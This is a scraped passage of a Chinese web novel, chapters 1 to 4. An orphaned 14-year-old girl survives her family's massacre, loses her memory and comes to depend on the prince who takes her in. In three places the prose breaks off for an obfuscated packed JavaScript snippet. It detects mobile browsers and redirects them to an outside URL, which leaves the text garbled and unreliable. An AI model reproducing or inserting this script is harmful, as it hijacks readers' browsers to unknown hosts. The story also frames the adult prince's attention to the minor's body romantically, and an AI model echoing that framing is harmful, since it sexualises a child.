《失忆后错撩高岭之花》 1. 第 1 章 熙元二十三年冬日,阴雨绵延的扬州府难得放晴。 傅闻璟赶了两天两夜,总算赶在这个大晴天前来到扬州府。 可惜,他来晚了一步。 两淮巡盐御史洛政的宅邸被一场大火烧得只剩下一片废墟。 傅闻璟眉头紧拧,一双鹰眸紧盯着断壁残垣。 “王爷,”方才派出去查探的人回来了,“属下在洛府里找了三遍,洛大人府上无一人生还,全、全部葬身火海……” 傅闻璟沉着脸,“你去找个仵作,让人把尸首给殓了,寻个好地方安葬。” 三日前,在淮南府的傅闻璟收到匿名消息。 说是一日后,在扬州府的巡盐御史洛政会遭遇不测。 一开始傅闻璟还以为是恶作剧,毕竟扬州府和淮南府相隔数百里。 加之巡盐御史洛政,是大熙三年陛下钦点的状元,出任巡盐御史前,曾是兰台寺大夫,为官两袖清风,刚正不阿,深得陛下信任。在此之前,扬州盐税贪腐一案,陛下刚清理了一波朝堂蠹虫,正是人人自危之际,怎会有人不长眼,这个节骨眼来闹事。 但过了半日,他又收到了两次消息。 最后一条消息甚至指出洛政会因何而死。 傅闻璟这才连忙清点人马,从淮南出发。 但是一路上风雪铺天盖地,脚程比往日慢了许多。 “王爷节哀。” 洛府这一场大火,整个扬州城的官员全数无动于衷,到现在都没有看到一个人。 傅闻璟弯腰查看尸体的死状,皆是射杀后遭遇放火焚烧。 傅闻璟阴沉着脸,亲手给焦黑的尸首盖上白布。 直起身时,傅闻璟感受到一股强烈的视线,环顾四周,并未看到其他人。 * 就在离洛府不远处的草垛子里,洛瑶抖着身子,死死咬住嘴唇,不让自己发出一点声音。 洛瑶用力握着一只灰白的手,手的主人已经死了两天了,尸体早已僵硬。 两日前晚上,洛府众人正其乐融融用饭,洛瑶还在洛夫人怀里撒娇。 一道破风声响起,紧闭的门窗被箭矢洞穿。 洛政把妻儿往密道推,洛夫人还没来得及走就被一支飞来的箭穿透胸腔,鲜血溅了洛瑶一脸。 “娘——” 洛夫人临断气前把洛瑶往奶娘怀里塞,奶娘拉着洛瑶跑进密道,离开洛府,外边天寒地冻,洛瑶身子弱,跑不了多远便受不住。 奶娘和洛瑶藏在一旁的草垛里,把她按在怀里,捂住她的嘴。 被捂着双眼的洛瑶,听着洛府里面的哭声、嘶喊声,从痛苦,到麻木。 “小姐不要出声,千万不要!一定!一定要活下去!”这是奶娘临死前,叮嘱洛瑶最后一句话。 那晚深夜,奶娘跑出去打探情况,却被黑衣人发现,一支箭矢贯穿胸膛。 似乎黑衣人害怕她没有死透,又补上一刀。 血腥味再一次侵袭洛瑶的呼吸,洛瑶躲在草垛后,强忍着恶心,死死咬紧牙关。 等黑衣人都走了,洛瑶把奶娘的尸首搬回草垛后,守着奶娘的尸首,躲在草垛里不吃不喝过了两天。 两天,洛府这场大火总算是烧完了,洛瑶的眼泪也流光了。 两天,她成为无父无母的孤女。 等洛瑶收拾好心情准备给家里人收殓时,傅闻璟到了。 洛瑶精神绷到极致,记不起也看不清,无法分辨是不是同一拨人。 她死死咬着唇,紧绷神经,看着黑衣人进了洛府,把家人的尸首搬出来,放在外面,又有一个人从高头大马上下来。 焦黑的尸首搬出来的一瞬间,洛瑶的眼泪夺眶而出。 洛瑶瘫坐在地上,脑袋埋进膝盖之间,用力咬嘴唇,鲜血从嘴角湮出也没有松开,极力隐忍不要发出任何声音。 她没有家,没有亲人了。 在这之前的两天,洛瑶还时不时沉浸在自己的幻想中。 她觉得爹娘兄长一定会藏起来,躲过这场劫难。 当三十六具尸首搬出来时,洛瑶赖以坚持的信念轰然倒塌。 绝望、窒息。 府门前盖着白布的三十六具尸首告诉她,想象终究是想象。 “王爷,洛府三十六口清点完毕。” 士兵的声音不大,但重重砸在洛瑶耳中。 三十六口。 府上一共三十八人。 洛瑶眼泪掉的更厉害了。 * 傅闻璟刚到不过半个时辰,扬州知州李赟便到了。 “王爷大驾,下官有失远迎。” 李赟是朝中著名的墙头草,洛政这事他本不打算冷处理,没想到一早上就听到晋王过来,连忙套了件衣服就赶过来。 傅闻璟比李赟高出半个头,微咪双眼盯着李赟,“李大人这几日休息得可好?” “呃……下官、下——” “大人不必紧张,扬州是你所辖之处,本王不过是身居淮安的一个外姓王,断不敢插手,此事你该如何处置便如何处置,本王自然会跟陛下如实禀报。” 李赟苦笑。 您虽是异姓王,可您的母亲是当朝长公主,虽已去世,但陛下十分疼爱您,就算是墙头草也懂审时度势。 李赟心中暗叹,这官算是做到头咯,又听到傅闻璟说道:“洛大人与本王父亲交情颇深,这殓尸安葬一事,就不劳烦李大人了。” “是是是,王爷说得对。” 李赟跟在傅闻璟身后,不敢随意走动,傅闻璟说什么他就应和什么,活脱脱的马屁精。 另一边的洛瑶哭得险些晕厥过去,脚无意识一蹬,踢到一块碎瓦片,发出清脆的声音。 “谁!” 傅闻璟身边的副将赵隋大喝一声,手中握着大刀小心翼翼走近草垛。 刀尖划过地面声音,仿佛刀子在身上一下一下凌迟。 洛瑶身子紧绷,脑海的弦绷紧,甚至都忘了呼吸。 她握紧手边的碎石块,石头尖锐,刺穿她的掌心,鲜血流淌濡湿身上的衣裙,血腥味以洛瑶为中心散开。 “到底是谁!识相地赶紧出来,要是让你爷爷找到,可就小命不保了。”赵隋闻到血腥味后更加兴奋。 洛瑶听着越来越近的脚步,心脏如擂鼓,身子颤抖幅度加大,眼前一阵阵发黑,胸口压不住反胃,但掌心的痛意又让她清醒。 “留活口。”傅闻璟冷声吩咐。 赵隋听到这句话,手中的刀调整为防御姿势,举起大刀劈开垒起的草垛。 大刀从洛瑶的鼻尖划过,洛瑶瞪大双眼,看到一脸凶神恶煞的赵隋,“咚”地一声,洛瑶手中的石块滑落,软软瘫倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111430|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上。 赵隋放下刀,挠了挠脑袋,转头一脸尴尬看着傅闻璟,“王爷,那个,晕了。” 傅闻璟疑惑,走上前,看见草垛后的两人,不,应该是一人一尸体。 “属下刚刚只是想吓吓里面的人,没想到她这么不禁吓。” 傅闻璟看了赵隋一眼,不说话。 赵隋摸摸鼻子,“属下办事不力,请王爷责罚。” 一旁的李赟眯着小眼睛看了许久,犹犹豫豫开口,“王爷,这位,好像是洛政洛大人的千金。” “确定?” 李赟上前一步,探着脑袋看了好一会,“下官确定,洛大人有一位年仅十四岁的千金,前些天家中小女办了个赏梅宴,还请了洛姑娘参加,下官有幸见过洛姑娘一面。” “旁边看着像是洛府的吓人。” 刚松一口气的赵隋腿又软了。 完了。 “还愣着作甚?” 傅闻璟说完,身边的士兵和李赟,你看我我看你,他们也不好上手。 “王爷,下官去寻一位女眷过来。” 李赟还没来得及去找人,就看到傅闻璟解开披风披在洛瑶身上,把人打横抱起。 “去叫大夫。” 赵隋将功赎罪,连忙套了辆马车,“王爷,咱们去哪?” “驿馆。” 傅闻璟低头看着怀里的人,尖瘦苍白的小脸上面满是灰尘,嘴唇咬破,唇角还有血迹,手心里也是伤痕,泥土和鲜血凝固在一起。 马车一阵颠簸,傅闻璟紧了紧怀里人,拧着的眉头几乎没有松开。 李赟不是说她十四岁了么,看起来小小一个,抱起来怎么都还没有猫儿重。 马车很快到驿站,李赟也跟着赶过来。 虽说他是墙头草,但是在朝廷命官在扬州灭门,他再怎么墙头草也要掂量掂量。 傅闻璟在一旁看着大夫给洛瑶清理了手心的伤痕,又把脉开药。 大夫交代几句话后离开,傅闻璟给洛瑶掖了掖被子,又唤驿馆的女婢给洛瑶清理一番。 傅闻璟出来时,李赟揣着手和赵隋站在门口两边,像极了两个门神。 见傅闻璟出来,李赟连忙跟上,“王爷,下官有个疑问,不知王爷能否解答?” 傅闻璟语气冷淡应了一声。 李赟搓搓手,拱手道,“这洛大人和洛夫人均已去世,不知王爷打算怎么安置她?” 傅闻璟乜了一眼李赟,“不知李大人有何指教?” “下官是这样想,”李赟揣着手,脸上尽是讨好的笑容,“扬州毕竟不是安全的地方,洛姑娘留在扬州,下官恐怕难以确保她的安全,下官的意思,不如把人送往苏州?” “苏州?” “正是苏州,洛夫人的父亲是当年的三朝宰相林青晦林公,不知王爷觉得如何?” 傅闻璟微不可察地点点头。 这确实是个不错的建议,带回王府,一个姑娘家和自己同住一个屋檐下并非好事。 “此时等她醒后再定夺。” “自然、自然。” 李赟这棵墙头草没待多久,就借口离开。 当晚,傅闻璟刚躺下,就听到了一阵喧闹声。 “何事?” “禀贵人,小姐发热了,丫鬟贪睡,现在才发现,刚请了大夫过来。” 2. 第 2 章 洛瑶的房间里满是浓郁的药味,傅闻璟微不可察地拧了拧眉。 他讨厌这股味道。 抬眼望去,床前围着丫鬟和大夫。 大夫边把脉,边摇头,抬头看到傅闻璟,放下手叹气,“这位姑娘发热是受寒加之受到惊吓所导致,我先开个药方,先吃着看,明日我再来看诊。” 傅闻璟颔首,示意赵隋跟着去抓药,赵隋心知自己闯祸,不敢多说,连忙跟上去。 李婆子坐在床边,拧了条湿帕子敷在洛瑶的额头上。 因着发热的原因,洛瑶原本苍白的小脸红得厉害,像是做梦,眉头紧拧,睡得极其不安稳。 李婆子见傅闻璟到来,连忙起身行礼。 这贵人让小绿来照顾这位小姐,小绿却贪睡睡过去,如今正被驿丞责罚着呢。 “不必多礼,我过来瞧瞧,她如何了?” “回贵人,姑娘发热,现在一直降不下去。” 李婆子垂首立在一旁。 “还有姑娘方才似乎是梦魇,叫也叫不醒,嘴里念叨着什么,奴婢听不大清。” 屋里的气氛凝滞,李婆子连忙端起面盆,向傅闻璟行礼告辞,“奴婢再去换盆水。” 说完忙不迭地跑了。 屋内瞬间安静下来,安静地能听到炭火燃烧的声音。 “水、水……” 傅闻璟给洛瑶擦了脸上的冷汗,听到一道不真切的声音,仔细分辨了会,起身端了杯热水,喂给洛瑶。 洛瑶此时还在梦魇中,嘴巴紧抿。傅闻璟送到嘴边的水,全部都从唇角滑落,弄湿了衣裳和枕巾。 傅闻璟的眉头拧得更紧了。 恰好这时,李婆子端着水盆进来了,连忙接过傅闻璟手里的瓷碗,“贵人先歇着,让奴婢来。” 傅闻璟看着李婆子抽出干净的帕子,从碗里沾了点水,印在洛瑶的唇上,少量多次,洛瑶干涸的嘴唇总算有所缓解。 “贵人有所不知,姑娘现在正在昏迷,水是无法喝进去,只能一点点沾湿她的嘴唇。”李婆子耐心解释。 傅闻璟:…… 当初在军营,自己昏迷的时候,父亲不也是这样灌自己的吗。 “嗯。”傅闻璟应了一声,坐在一旁看着。 李婆子觉得傅闻璟压迫感十足,连忙道:“姑娘衣裳湿了,奴婢先给姑娘换一身,还请贵人避一下。” 傅闻璟看了眼床上脸色潮红的洛瑶,虚弱得跟刚出生的小猫一样,一不小心可能就养不活了。 傅闻璟:……养小丫头就是麻烦。 但还是到了屋外。 * 洛瑶还在梦魇中。 她又梦到那天晚上的场景,黑衣人无尽的屠杀,娘亲的鲜血喷了自己一脸,温热、粘腻,血腥味侵袭鼻息,她胃里翻江倒海,想吐又吐不出来。 奶娘捂住自己的嘴,不让自己发出任何的动静。 她和奶娘躲在草垛里,躲了两天,扬州城就阴雨绵绵两天。 这场雨好像一直都下不停,但洛府的却火烧了两天两夜。 后来奶娘也去世了,她合上眼之前,用自己身体堵住草垛的缝隙,把自己护在里面。 奶娘的鲜血也溅到自己脸上,好烫好烫。 三十八口,只剩下自己…… 好像在黑暗中走了好久好久,前面忽然出现光亮,走近才发现,原来是被烧毁的洛府。 梦里,洛瑶感觉自己好像置身火海之中,周围都是熊熊大火,火光映照出一张张熟悉的面容。 爹……娘……哥哥…… 伸手触碰,却像泡沫一样,一碰就碎。 “阿瑶……” “妹妹……” * 李婆子给洛瑶换好衣服就去厨房端药。 赵隋一个大老爷们,生怕傅闻璟觉得是他吓晕洛瑶,要治他罪,所以抓完药回来,兢兢业业地熬药。 “婆婆,洛姑娘怎样了?”赵隋希冀地看着李婆子。 期待从李婆子那里听到好消息。 可惜,李婆子摇摇头,“还发着热呢,没醒过来。” 赵隋蔫了,这下不仅李赟的官做到头了,自己也差不多了。 李婆子端着药回到客房,发现洛瑶又汗湿了一身衣裳。 “哎哟,天爷呀。” 李婆子一声哀嚎,把隔壁屋的傅闻璟引过来,“何事?” 李婆子没想到傅闻璟过来,连忙解释,“奴婢准备给姑娘喂药,发现姑娘衣服又汗湿了。” 傅闻璟上前一步,发现洛瑶脸色潮红更甚,眉头拧得更紧,“给她擦擦身子,先喂药,喂了再换。” 说完背过身,等李婆子给洛瑶清理。 李婆子端着药给洛瑶喂药,勺子撬不开洛瑶的嘴。 似乎洛瑶异常抗拒,像是在对抗。 药汁顺着洛瑶的嘴角往下流,颈边的白帕子沾上棕褐色的药汁。 傅闻璟眸子颤了颤。 “我来吧。” 傅闻璟把昏迷的洛瑶笼在怀里,一手钳住洛瑶的下颚,一手把药汁灌进去。 “咳咳咳……” 洛瑶呛了下,傅闻璟拍了拍她的后背。 大半个时辰,一小碗药总算是喂完。 傅闻璟把人放回床上,准备起身离开时,衣袖被死死攥住。 “娘,别走……” “别扔下我……” 傅闻璟被拽得一愣,微微用力想要把衣服扯出来,却扯不动。 “不如劳烦贵人在这陪一下姑娘吧,这姑娘也是可怜。”李婆子小心觑了眼傅闻璟的神色,见傅闻璟只是面色阴沉,没有任何不耐烦,小声提议。 洛大人是好官,怎么就糙此祸事。 傅闻璟蹙眉点头,在床边坐下,让李婆子回去休息。 如果不是他不相信传信,在大雪之前赶到扬州,这小丫头也不至于落得个家破人亡。 说到底,这也有自己的原因。 傅闻璟无声叹了叹,靠着床柱子闭目养神。 前半夜洛瑶睡得都不安稳,傅闻璟起来好几次,给她擦汗喂水。 大夫开的药起效果了,半夜洛瑶发了一身汗后,便退热了,人也睡得安稳不少了。 可第二天天亮,傅闻璟都醒来半天了,洛瑶还是在昏睡中。 手里抓着傅闻璟的衣袖还是不放开。 甚至更用力了。 大夫过来时,就看到傅闻璟给洛瑶擦汗。 “姑娘退烧了,但脉象却比先前弱了不少。”大夫眉头紧拧。 傅闻璟低头,洛瑶脸上的潮红褪去,露出一张苍白虚弱的小脸蛋,下巴尖尖的,脸上没有半两肉,就像瓷娃娃一样。 傅闻璟碰了碰她的额头,不烫。 指尖靠近洛瑶的鼻尖,气若游丝。 傅闻璟眸色沉沉,“这是怎么回事?” 傅闻璟五指收紧,仿佛又回到了十年前那样,他深呼吸,稳住气息,“要如何做?用什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111431|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么药或者吃什么补品?” 大夫把脉枕收回匣子里,脸色为难,“恕老朽学艺不精,姑娘这种情况,老朽确实不知道如何是好。” “贵人不如用人参先吊着姑娘的气,免得姑娘没有求生意识,咽下这口气撒手人寰。” 傅闻璟让人去药房取了上好的参片,钳开洛瑶的嘴,塞了两片参片进去。 “洛瑶,活下去!你不想为你家人报仇了吗?” 傅闻璟俯身在洛瑶耳边低语,“你爹为民请命,却落得如此下场,你当真就这样放弃自己吗?” “洛府三十多口的性命,你就置之不顾吗?” “洛瑶,活下去!” 傅闻璟说完,洛瑶的手指罕见地动了动。 但人依旧没有醒过来。 李婆子又伺候洛瑶两天,洛瑶的脸一天比一天消瘦,下巴越来越尖。 这天,李婆子给洛瑶换衣裳擦洗后,傅闻璟照例过来喂药。李婆子不敢对洛瑶动粗,只好都由傅闻璟经手。 傅闻璟照例把洛瑶拢在怀中,一手钳开下颚,一手灌药。 “咳咳咳……” 洛瑶被汤药呛到,连连咳嗽,挣扎着睁开一条缝。 在两人对面的李婆子迅速捕捉到洛瑶的异样,“醒了!姑娘醒了!” 傅闻璟放下瓷碗,扶正洛瑶,和她对视。 “醒了?醒了就自己喝药。” 洛瑶看着眼前陌生的人,脑海中一片空白,努力回想却什么都想不起来。 傅闻璟看洛瑶没动静,把瓷碗往前一送。 “喝药。” 洛瑶听到傅闻璟的声音,小鹿一样的眼睛亮了亮。 梦中一直有一道声音让自己活下去。 就是这个声音! 自己是出什么事了吗?为什么会叫自己活下去? 他一定不是坏人,他让我活下去! 但是…… 他是谁? 我又是谁?这是哪? 洛瑶陌生的眼神看着傅闻璟,没有接他手中的瓷碗。 两人僵持。 李婆子见状接过,“姑娘刚醒,奴婢来喂吧。” 洛瑶蹙眉避开送到嘴边的勺子,一双水眸怯生生看着傅闻璟。 似乎是傅闻璟不喂,她就不喝。 “麻烦。” 良久,傅闻璟拿过李婆子手里的碗,舀了一勺药汁送到洛瑶嘴边。 洛瑶张嘴含住勺子,立刻吞了下去。 下了猛药的药汁腥苦,洛瑶小脸皱成一团。 傅闻璟沉着脸,一勺一勺喂进洛瑶嘴里,很快药碗就见底了。 李婆子见状,端着空碗,离开屋子,留下两人面面相觑。 洛瑶的视线跟着傅闻璟移动,傅闻璟走到哪,她的视线就跟到哪。 她不认识这个男子,他看起来不好招惹,但是总有一道声音告诉他,跟着他是安全的。 “你还记得那天闯进洛府的是什么人吗?” 傅闻璟撩开衣袍,大马金刀地坐在凳上,和她对视。 洛瑶茫然摇头,那天,是哪天? 洛府,是哪里? 洛瑶一脸茫然。 傅闻璟以为洛瑶被吓到说不出话,又问道:“你会说话吧?” “会。”声音沙哑。 傅闻璟蹙眉,试探性问道:“你还记得自己叫什么吗?” 洛瑶拧眉,良久,她歪了歪脑袋,一双水眸疑惑地看着傅闻璟。 3. 第 3 章 回春堂的老大夫又一次在冰天雪地中被请过来。 洛瑶乖巧地靠在床头,任由老大夫诊脉。 说是乖巧也不太对,洛瑶对傅闻璟以外的人都十分抗拒。 老大夫进来时,洛瑶原本坐着在床边喝水,听到声音立刻缩进到傅闻璟身后,防备的姿态看着来人。 “怎么了?” 洛瑶的异常引起傅闻璟注意,微微侧头问道,“哪里不舒服?” 洛瑶摇头,手指揪着傅闻璟的衣袍不松开,越往傅闻璟身后缩进去。 傅闻璟给门口的赵隋递了个眼神,转头对尽量用温柔的声音安抚洛瑶,“这是大夫,我叫他过来给你看看。” 傅闻璟劝了许久,洛瑶才肯挪出来,递出一个手放在脉枕上,另一个手死死抱着傅闻璟的手臂。 傅闻璟记事以来,第一次跟女子贴这么近,耳根微不可察的红了。洛瑶虽然瘦小,但该有的都有,跟男子比起来,软软的,身上淡淡的药香。 “你先松手,让大夫给你看看。”傅闻璟冷声说道,微微用力挣脱洛瑶的束缚。 洛瑶望着落空的手,眼泪猛地涌出来。 他是不是不要她了…… 是不是嫌自己麻烦…… 洛瑶吸了吸鼻子,小声地应了一声,忍着心中的恐惧,任由老大夫把脉,针灸。 单衣衣摆已经被洛瑶揪起层层褶皱。 傅闻璟暗自叹气,小丫头就是娇气,伸出手递到洛瑶面前,冷声道:“握着吧。” 洛瑶心中一喜,猛地抬眸看他,眼睛水盈盈的,鼻头微红,嘴角微微翘起,酒窝隐隐浮现。 纤细的五指插入傅闻璟的指缝,和傅闻璟十指相扣,然后用力收紧。 只不过,洛瑶这小猫儿一样的力气,对傅闻璟来说根本没有任何不适之感。 老大夫取掉洛瑶头上银针,请傅闻璟到门外说话。 洛瑶本想拉着傅闻璟不让他走,但傅闻璟先她一步拍拍洛瑶的脑袋,“在这等我,我很快回来。” 洛瑶只好放手让他离开。 “如何?” 老大夫拱拱手,“小姐应该是受巨大刺激,不愿意想起先前的发生的事情。” “可有什么办法?”傅闻璟薄唇紧抿。 “小姐这种情况,是自身不愿意想起,非外力所导致,寻常治疗失忆症的法子基本无效用,”老大夫摇摇头,又叮嘱道,“千万不要刺激她,否则可能会更加严重。” “小姐身子虚弱,近几日不宜舟车劳顿。另外,老朽看小姐对郎君甚是信任,许是郎君在她昏睡时照顾她,陪她说话,小姐潜意识中记得您是值得依赖的人,加之小姐生来有不足之症,不宜烦心,郎君可多陪陪她,缓解小姐的不安。” 老大夫交代了几句,背上药箱就走了。 他前脚刚走,后脚赵隋就过来。 方才傅闻璟让他去查老大夫,这回春堂的老大夫一辈子都在扬州城,接触的人也简单,无需费心便能查到。 赵隋还打算和傅闻璟说其他事情,就看到李婆子急忙打开门,“贵人,小姐找你。” 傅闻璟忍不住再一次叹气,小丫头就是麻烦,但还是让赵隋先下去,自己进了屋。 * 洛瑶在屋里左等右等都等不到傅闻璟,她偷偷觑了眼站在一旁的婆婆。 憋了半天,洛瑶还是忍不住小声李婆子,“婆婆,他呢?” 说完没听到李婆子的回应,又把低垂着脑袋不敢看她。 她害怕婆婆嫌弃她,就像梦里那些人看她的眼神一样。 她做了个梦,不记得具体内容,但好像大家都不要她了,她怎么喊都没有人回应,原来她是一个大家都不喜欢的小孩。 李婆子一时神游,反应过来连忙回应,“姑娘要找贵人是吧,我帮您传个话。” 洛瑶闻言,抬头希冀地看着李婆子,小心翼翼问道:“可以吗?” 李婆子看洛瑶这可怜的小模样看得心都疼了,可怜的孩子啊,天杀的歹人。 “可以可以,婆婆这就给你去找人。”李婆子想要摸一下洛瑶的脑袋,又怕惊到她,又担心傅闻璟不在了,连忙出去找人。 傅闻璟进来时,洛瑶抱着膝盖,尖细下巴杵在膝盖上,低垂着眸子,像极了被人丢弃的小猫咪。 听到声音,洛瑶猛地抬眼,见到傅闻璟,双眼亮晶晶的,身上可怜兮兮的气息一下子消散。 傅闻璟觉得,洛瑶此时的眼睛,比御赐的夜明珠还要亮。 “怎么了?找我何事?” 傅闻璟在洛瑶身边坐下,洛瑶顺势拉过他的手,抱在怀里,也不说话,但傅闻璟明显能感觉到她情绪变化。 “你……叫什么?”洛瑶犹犹豫豫问出来,视线飞快看了眼傅闻璟,生怕傅闻璟不搭理,又找补,“没、没关系,你不愿意说,我、我也不介意。” 傅闻璟气场强大,洛瑶在醒来之后看到的傅闻璟都是冷着脸,一副生人勿进的模样。 傅闻璟觉得好笑,这小丫头总算想起要问自己叫什么。 “傅闻璟。”傅闻璟言简意赅,“你叫洛瑶,你父亲是洛政。” “洛瑶?” 原来她叫洛瑶。 “我是……” “我受人之托,赶来找你们。”傅闻璟想起大夫交代,洛瑶现在的情况受不得刺激,简单说了他来这里的原因。 “哦,你、我……” 洛瑶嘴比脑子快,却又不知道说什么。 “还有别的问题吗?没有就好生歇息,前两天你昏倒,今日才醒过来,你身子弱,得好生养着。” 傅闻璟给洛瑶盖上被子,准备离开,又听到洛瑶问道:“你住在哪里?我睡醒能去找你吗?” “天字二号,可以。” 没等洛瑶应声,傅闻璟就开门出去。 李婆子去准备饭食,洛瑶在房间里迷迷糊糊睡过去。 * 李赟听闻洛瑶醒了,连忙赶到驿馆。 不为别的,那歹人连朝廷命官都敢杀,扬州城就很不安全,不仅洛瑶不安全,他也不安全。 乌纱帽和性命相比,当然是性命更重要。 命没了,要个官职有何用。 这次过来,李赟除了来跟傅闻璟商议洛瑶的去处之外,也来跟傅闻璟汇报洛府一案的调查进度。 李赟很快就把洛府一案和扬州盐税案关联起来,洛府出现了军用的箭簇,墙角还有火油。 “案件一事就麻烦李大人了,还是那句话,本王不插手他人政务。”傅闻璟揉揉眉心,打断滔滔不绝的李赟。 李赟讪笑,又将话题扯到洛瑶身上,“那下官敢问王爷,洛姑娘如何安置?” “下官还是建议,将洛姑娘送去苏州府,如此最安全。” 傅闻璟继续揉眉心,想到方才洛瑶那个粘人劲,傅闻璟就觉得头痛。 这洛家的小丫头,性子也太娇了。 “本王自有定夺,李大人还是先把案件查明白吧,到时候若是陛下降罪,本王也不好替你开脱。” “是是是,王爷英明,此事确实是下官多虑了。” 李赟圆滑,但是傅闻璟不吃这套,只好拱手告辞,“那下官先走了。” 李赟打开门,就看到洛瑶穿着一身单衣站在门口,见自己出来,神色惊恐,迅速往一旁柱子后躲去,像只受惊的小鹿。 李赟:……我有那么可怕吗?不是前几天刚见过? “洛姑娘好。”李赟脸上挤出个笑容,语气温和跟洛瑶打招呼。 洛瑶用极其小的声音,应了声“好”,然后极力缩进柱子后面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111432|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 傅闻璟听到动静,起身出来查看,刚到门口,就看见一团身影窜到自己身后,紧紧贴着自己后背,腰间的衣服被攥起。 李赟微微瞪大双眼看着两人,直到傅闻璟咳了咳,才发现自己失态,连忙拱手告辞。 “睡醒了?怎么不穿多点?” 傅闻璟留意到洛瑶身上单薄的衣物,又没看到李婆子,随手从衣桁上抽了件狐裘,把洛瑶裹得严严实实。 这丫头身子太弱了,要是再受风寒,怕是回淮南的日程一再耽搁。 宽大的狐裘罩在洛瑶身上,洛瑶身量小,狐裘坠在地上,在脚边堆叠成一团, 狐裘散发着淡淡的檀香,洛瑶鼻子耸动,深呼吸,是梦中出现过的味道。 傅闻璟把洛瑶带回天字一号,又给火盆加了几块炭,木炭燃烧发出“哔剥”声,衬得室内更加安静。 “找我什么事?” 傅闻璟没有和女子相处过,也没有妹妹。 大夫让他多陪陪洛瑶,但他不知道应该和洛瑶说些什么,只好僵硬地扯开话题。 洛瑶低垂着脑袋,吸了吸鼻子,眼泪像断线的珠子一样一颗一颗落下来,落在狐裘上氲出一片水迹。 “怎么了?”傅闻璟眼眸颤了颤,惊讶于洛瑶变脸的速度,方才还好好的,怎么就掉眼泪了。 “你、你是不是要把我送走?” 洛瑶没敢抬头看傅闻璟,她害怕傅闻璟下一句就是,是我要把你送走。她果然是没人要的小孩,是个累赘,别人都劝他送走自己了。 “你都听到了?”傅闻璟沉着脸。 他没有哄女孩子的经验。 经年累月都在军营,大家都是糙汉子,哪有这么娇气的小姑娘。 洛瑶点点头,没听到傅闻璟的回应,无声啜泣变成小声抽噎,用手背擦了擦眼角的泪水,“你别送我走好不好,我会很乖很听话的。” “我吃得不多,我不挑食的。” “你别送我走。” 洛瑶边说边抽噎,险些背过气。 傅闻璟拍拍她后背,没有回应。 他也在衡量,到底应不应该送洛瑶去苏州。 扬州是待不得的,苏州只有林公夫妇在,送过去真的是个好选择么? 若是不送去苏州,那把她安置在哪里? 带回淮南,安置在王府?可她那么娇气,那么爱哭。 大熙战无不胜的战神王爷傅闻璟,第一次犯难,因为一个娇气包。 “呜呜呜呜,别送我走好不好。” 洛瑶心里的不安越来越大,手足无措,生怕傅闻璟马上就让人把她带走塞上马车,送去苏州。 洛瑶扑进傅闻璟的怀里,抱着他精瘦的腰嚎啕大哭,“我不走,我不去苏州,我很听话的,别送我走好不好……” 她没有记忆,清醒之后只认识傅闻璟。如果不是他,她连自己叫什么都不知道。 苏州,对她来说是个多么陌生的地方。 李婆婆说她爹爹是人人敬仰的大英雄,是个好官,她娘也是人美心善,时不时给百姓施粥。 可是,这么好的人为什么不要她,是她不乖么…… 洛瑶抱着傅闻璟不松手,她怕他也像梦里的人一样,不要她,扔下她一个人。 “别哭了。”傅闻璟僵硬地拍了拍洛瑶的背,不知如何告诉她真相,泪水挂在洛瑶尖细的下巴上,摇摇欲坠,眼泪洗涤过的眼睛,异常明亮。 “你不送我走是不?”洛瑶吸了吸鼻子,哭过的眼睛像水洗过的天空,倔强地看着傅闻璟。 傅闻璟微不可察地叹了声,“你身子虚,先养好身子,这事晚些再说。” “好。”洛瑶咬着唇不发出声音,控制眼泪不流下来,她怕傅闻璟嫌弃她爱哭,也怕惹他不高兴,把她送到苏州去。 4. 第 4 章 过了好一会,洛瑶才反应过来,放开被她抱得浑身僵硬的傅闻璟。 洛瑶垂着脑袋,手指交缠,小眼睛滴溜溜转,咬着嘴唇,鼻翼小幅度翕动,心如擂鼓。 眼泪鼻涕都糊在他的衣服上了…… 他不会生气把自己送走吧…… 越想洛瑶越慌,指甲无意识掐进自己的掌心。 傅闻璟轻笑,尽量用平和的语气安抚她,“别哭了,没怪你,先用饭,你还要喝药。” “好。”洛瑶声音细细的。 李婆子端了不少饭菜上来,傅闻璟起身离开,洛瑶捏着傅闻璟的衣袖不放手。 “怎么?” “你能、能陪我用饭吗?”洛瑶小声询问,贝齿咬着下嘴唇,希冀地看着傅闻璟。 傅闻璟垂眸,良久,拍拍她的手,“我还有公务,你先用饭,实在想要人陪,我让李婆婆来陪你。” “哦。”洛瑶眼底闪过一丝失落,缓缓地松开手,挤出一个笑容,怯生生道:“那、那你去忙吧。” 房门关上的一瞬间,泪珠不听话地从洛瑶的眼眶里滑下来。 